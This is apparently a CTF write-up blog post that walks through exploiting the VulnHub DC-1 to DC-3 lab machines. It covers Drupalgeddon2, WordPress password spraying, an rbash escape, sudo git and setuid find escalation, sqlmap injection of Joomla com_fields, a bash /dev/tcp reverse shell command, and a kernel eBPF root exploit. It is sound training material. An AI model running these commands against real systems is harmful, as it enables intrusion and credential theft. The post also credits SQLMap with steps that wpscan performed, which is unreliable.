As part of my prep for the CEH Practical, I wanted to sharpen my enumeration and exploitation workflow with realistic machines. The DC series on VulnHub offers exactly that — legal, local, and logically progressive CTFs. In this post, I walk through DC-1, DC-2, and DC-3. No fancy tools needed — just good ol’ enumeration, exploitation, and a bit of patience.
DC-1
Enumeration
Starting off with an Nmap scan:
┌──(venv)─(kali㉿kali)-[~/Downloads/ctf/bulldog/ssh-user-enumeration]
└─$ nmap -sCV -T4 -A -p- -Pn 10.0.2.16
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-04 09:17 EDT
Nmap scan report for 10.0.2.16
Host is up (0.00058s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-title: Welcome to Drupal Site | Drupal Site
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 34218/udp status
| 100024 1 50230/udp6 status
| 100024 1 57989/tcp6 status
|_ 100024 1 60111/tcp status
60111/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:94:27:DF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Drupal 7 on port 80 caught my eye — classic.
Initial Access
Homepage confirmed Drupal 7. A quick search led me to Drupalgeddon2 a known exploit:

Manual PoC gave a shaky shell, so I used Metasploit:

This gave me a stable Meterpreter session. From there, I found Flag #1 and a hint about Drupal’s default config. In sites/default/settings.php
, I found Flag #2 along with the MySQL root credentials.

This revealed a helpful hint suggesting not to brute-force and even provided the database credentials, so I proceeded to connect to MySQL. That’s where I hit a snag — turns out I didn’t really know how to properly interact with Meterpreter… oops. After about 30 minutes of trial and error, I realized I first needed to type shell
in Meterpreter to spawn a proper interactive shell. With that in place, I could finally run the MySQL client and inspect the database.

After selecting the users
table, I found another hint tucked away inside:

This hint pointed me toward checking UID permissions — time to look for binaries with special privileges:

Getting root
I spotted find
with the setuid bit — game on:

Instant root shell. Final flag captured.
DC-2
Enumeration
Same Nmap flow:
┌──(kali㉿kali)-[~]
└─$ nmap -sCV -T4 -A -p- -Pn 10.0.2.17
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-08 05:44 EDT
Nmap scan report for 10.0.2.17
Host is up (0.00074s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: Did not follow redirect to http://dc-2/
|_http-server-header: Apache/2.4.10 (Debian)
7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey:
| 1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)
| 2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)
| 256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)
|_ 256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)
MAC Address: 08:00:27:CF:C2:82 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.74 ms 10.0.2.17
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.62 seconds
Finding SSH running on port 7744 was definitely unexpected, but as usual, I started by checking out the web server first. The basic homepage and the results from Gobuster confirmed it was a standard WordPress installation. Surprisingly, the first flag was just sitting there in plain sight — a freebie!

so lets create a custom wordlist with cewl
based on the site’s content:
┌──(kali㉿kali)-[~/Downloads/ctf/dc-2]
└─$ cewl dc-2 -w wordlist.txt
CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
┌──(kali㉿kali)-[~/Downloads/ctf/dc-2]
└─$ cat wordlist.txt
nec
amet
sit
vel
orci
quis
Alongside the wordlist, we also needed valid usernames — fortunately, SQLMap has a built-in function to enumerate those:
┌──(kali㉿kali)-[~]
└─$ wpscan --url 'http://dc-2' -e u
[+] admin
| Found By: Rss Generator (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] jerry
| Found By: Wp Json Api (Aggressive Detection)
| - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] tom
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
We can also use SQLMap to perform password spraying:
[+] Performing password attack on Xmlrpc against 3 user/s
[SUCCESS] - jerry / adipiscing
[SUCCESS] - tom / parturient
Trying admin / work Time: 00:00:37 <=========================== > (684 / 1160) 58.96% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient
Initial Access
Got two valid users:
- jerry:adipiscing
- tom:parturient
Only Jerry has the rights to edit WordPress posts, while Tom can only view them. So, continuing as Jerry, we explore a bit more and eventually discover Flag 2:

This suggests that exploiting WordPress isn’t the way to go—so maybe it’s as simple as logging in via SSH? (KISS: Keep It Simple, Stupid)

Tom can log in and we find Flag 3, but I can’t read it because I’m stuck in a restricted (rbash) shell that doesn’t allow me to use cat
:
tom@DC-2:~$ cat flag3.txt
-rbash: cat: command not found
After reading up on this, the first step is to figure out which commands are available. Then we might be able to use GTFObins to create a shell. So:
tom@DC-2:~$ ls /home/tom/usr/bin
less ls scp vi
We can use vi
to break out of the restricted bash (rbash
):

The first method I tried failed, but then I switched to the second method, where I needed to set the PATH
environment variable. After that—boom! It worked.

Getting Root
After exploring a bit, I found flag4 containing:
$ cat flag4.txt
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
Since we were looking for a git repository, I first tried the command find / -name ".git" 2>/dev/null
but it didn’t return anything. I got stuck for a while because I hadn’t switched to the user Jerry yet. After switching to Jerry and running sudo -l
:
$ sudo -l
[sudo] password for tom:
Sorry, user tom may not run sudo on DC-2.
$ su jerry
Password:
jerry@DC-2:/$ sudo -l
Matching Defaults entries for jerry on DC-2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jerry may run the following commands on DC-2:
(root) NOPASSWD: /usr/bin/git
jerry@DC-2:/$
I discovered that we can run the git
command as root. So I went back to GTFObins and used the following technique:
jerry@DC-2:/$ sudo git -p help config
!/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# ls /root
final-flag.txt
# cat /root/final-flag.txt
__ __ _ _ _ _
/ / /\ \ \___| | | __| | ___ _ __ ___ / \
\ \/ \/ / _ \ | | / _` |/ _ \| '_ \ / _ \/ /
\ /\ / __/ | | | (_| | (_) | | | | __/\_/
\/ \/ \___|_|_| \__,_|\___/|_| |_|\___\/
Congratulatons!!!
A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.
If you enjoyed this CTF, send me a tweet via @DCAU7.
#
DC-3
Enumeration
The NMAP scan:
┌──(kali㉿kali)-[~]
└─$ nmap -sCV -T4 -A -p- -Pn 10.0.2.18
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-08 07:38 EDT
Nmap scan report for 10.0.2.18
Host is up (0.00071s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home
MAC Address: 08:00:27:21:C8:8C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.71 ms 10.0.2.18
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.04 seconds
That makes things easy — we just need to check the Joomla site. It appeared to be a basic Joomla installation, and a Gobuster scan confirmed the default folder structure.
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u 10.0.2.18 -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.0.2.18
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 293]
/.htpasswd (Status: 403) [Size: 293]
/administrator (Status: 301) [Size: 314] [--> http://10.0.2.18/administrator/]
/bin (Status: 301) [Size: 304] [--> http://10.0.2.18/bin/]
/cache (Status: 301) [Size: 306] [--> http://10.0.2.18/cache/]
/cli (Status: 301) [Size: 304] [--> http://10.0.2.18/cli/]
/components (Status: 301) [Size: 311] [--> http://10.0.2.18/components/]
/images (Status: 301) [Size: 307] [--> http://10.0.2.18/images/]
/includes (Status: 301) [Size: 309] [--> http://10.0.2.18/includes/]
/language (Status: 301) [Size: 309] [--> http://10.0.2.18/language/]
/layouts (Status: 301) [Size: 308] [--> http://10.0.2.18/layouts/]
/libraries (Status: 301) [Size: 310] [--> http://10.0.2.18/libraries/]
/media (Status: 301) [Size: 306] [--> http://10.0.2.18/media/]
/modules (Status: 301) [Size: 308] [--> http://10.0.2.18/modules/]
/plugins (Status: 301) [Size: 308] [--> http://10.0.2.18/plugins/]
/server-status (Status: 403) [Size: 297]
/templates (Status: 301) [Size: 310] [--> http://10.0.2.18/templates/]
/tmp (Status: 301) [Size: 304] [--> http://10.0.2.18/tmp/]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
When I visited http://10.0.2.18/administrator/manifests/files/joomla.xml
, I found the version was 3.7.0. This didn’t immediately reveal any CVEs or exploits, so I continued enumerating. In msfconsole, there’s a Joomla plugin scanner that can help identify vulnerabilities:

Trying these two vulnerabilities didn’t yield any useful results. Next, I used JoomScan to identify which components were in use. One of them was com_fields
, which has an exploit listed on Exploit-DB: https://www.exploit-db.com/exploits/42033. According to the exploit details, I needed to run the following sqlmap command:
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
And sure enough:
GET parameter 'list[fullordering]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 2747 HTTP(s) requests:
---
Parameter: list[fullordering] (GET)
Type: error-based
Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(UPDATEXML(6124,CONCAT(0x2e,0x716a627a71,(SELECT (ELT(6124=6124,1))),0x7176767671),1152))
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 8144 FROM (SELECT(SLEEP(5)))MbqK)
---
Dumping the database
Using --dump
, I dumped the entire database, which took quite some time. Next time, I’ll make sure to check which tables I want to dump beforehand—oops. So I stopped that process and ran the following command instead:
┌──(kali㉿kali)-[~/Documents/tools/joomscan/joomscan]
└─$ sqlmap -u "http://10.0.2.18/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' -C name,email,id,params,password,username --dump
This gave me the following result:
[08:15:26] [INFO] fetching entries of column(s) '`name`,email,id,params,password,username' for table '#__users' in database 'joomladb'
[08:15:26] [INFO] retrieved: 'admin'
[08:15:27] [INFO] retrieved: 'freddy@norealaddress.net'
[08:15:27] [INFO] retrieved: '629'
[08:15:27] [INFO] retrieved: '{"admin_style":"","admin_language":"","language":"","editor":"","helpsite":"","timezon...
[08:15:27] [INFO] retrieved: '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu'
[08:15:27] [INFO] retrieved: 'admin'
Database: joomladb
Table: #__users
[1 entry]
+--------+--------------------------+-----+----------------------------------------------------------------------------------------------+-----
| name | email | id | params | password | username |
+--------+--------------------------+-----+----------------------------------------------------------------------------------------------+-----
| admin | freddy@norealaddress.net | 629 | {"admin_style":"","admin_language":"","language":"","editor":"","helpsite":"","timezone":""} | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu | admin |
+--------+--------------------------+-----+----------------------------------------------------------------------------------------------+-----
John was able to easily crack the password for me.
┌──(kali㉿kali)-[~/Downloads/ctf/dc-3]
└─$ john hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
snoopy (?)
1g 0:00:00:00 DONE 2/3 (2025-07-08 08:17) 2.941g/s 158.8p/s 158.8c/s 158.8C/s 123456..trustno1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Initial Access
According to HackTricks, we can exploit an RCE vulnerability in the templates area since we have admin credentials. This worked perfectly:

Next, I tried to get a reverse shell using the following method:
curl -s "http://10.0.2.18/templates/protostar/error.php?cmd=bash -i >& /dev/tcp/10.0.2.5/4444 0>&1"
But that didn’t seem to work, and encoding the characters didn’t help either.
bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.2.5%2F4444%200%3E%261
So I uploaded my own page using the default PentestMonkey PHP script:

Always good to have a backup, hehe.
Getting root
I was stuck for a while since I couldn’t find any useful information. Then I ran LinPeas, which revealed that the kernel was outdated. This pointed me to CVE-2016-4557, with a proof of concept available here: https://project-zero.issues.chromium.org/issues/42452340. So, I decided to give it a try:
www-data@DC-3:/var/tmp$ ls
39772.zip
www-data@DC-3:/var/tmp$ unzip 39772.zip
Archive: 39772.zip
creating: 39772/
inflating: 39772/.DS_Store
creating: __MACOSX/
creating: __MACOSX/39772/
inflating: __MACOSX/39772/._.DS_Store
inflating: 39772/crasher.tar
inflating: __MACOSX/39772/._crasher.tar
inflating: 39772/exploit.tar
inflating: __MACOSX/39772/._exploit.tar
www-data@DC-3:/var/tmp$ cd 39772
www-data@DC-3:/var/tmp/39772$ tar -xzf exploit.tar
gzip: stdin: not in gzip format
tar: Child returned status 1
tar: Error is not recoverable: exiting now
www-data@DC-3:/var/tmp/39772$ tar -xvf exploit.tar
ebpf_mapfd_doubleput_exploit/
ebpf_mapfd_doubleput_exploit/hello.c
ebpf_mapfd_doubleput_exploit/suidhelper.c
ebpf_mapfd_doubleput_exploit/compile.sh
ebpf_mapfd_doubleput_exploit/doubleput.c
www-data@DC-3:/var/tmp/39772$ cd ebpf_mapfd_doubleput_exploit/
www-data@DC-3:/var/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./compile.sh
doubleput.c: In function 'make_setuid':
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.insns = (__aligned_u64) insns,
^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.license = (__aligned_u64)""
^
www-data@DC-3:/var/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@DC-3:/var/tmp/39772/ebpf_mapfd_doubleput_exploit# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
root@DC-3:/var/tmp/39772/ebpf_mapfd_doubleput_exploit# cd /root
root@DC-3:/root# ls
the-flag.txt
root@DC-3:/root# cat the-flag.txt
__ __ _ _ ____ _ _ _ _
\ \ / /__| | | | _ \ ___ _ __ ___| | | | |
\ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |
\ V V / __/ | | | |_| | (_) | | | | __/_|_|_|_|
\_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)
Congratulations are in order. :-)
I hope you've enjoyed this challenge as I enjoyed making it.
If there are any ways that I can improve these little challenges,
please let me know.
As per usual, comments and complaints can be sent via Twitter to @DCAU7
Have a great day!!!!
📘 Lessons Learned
✅ Getting faster at these CTFs — what once felt tough is now almost “easy” thanks to recognizing common patterns
✅ Always have multiple ways to get a shell — escaping rbash with vi
, spawning tty shells with Meterpreter, etc.
✅ Hidden hints often appear in unexpected places like databases or uncommon service ports — thorough enumeration pays off
✅ Combining automated tools (sqlmap, Metasploit plugins) with manual techniques is essential for efficiency
✅ Paying close attention to user permissions and roles can reveal privilege boundaries and potential escalation paths
✅ Patience and curiosity are key — don’t rush; sometimes the smallest misconfigurations open the door
This series reinforced that success in CTFs isn’t just about technical skills, but also about mindset: staying adaptable, exploring different angles, and building a versatile toolbox of techniques.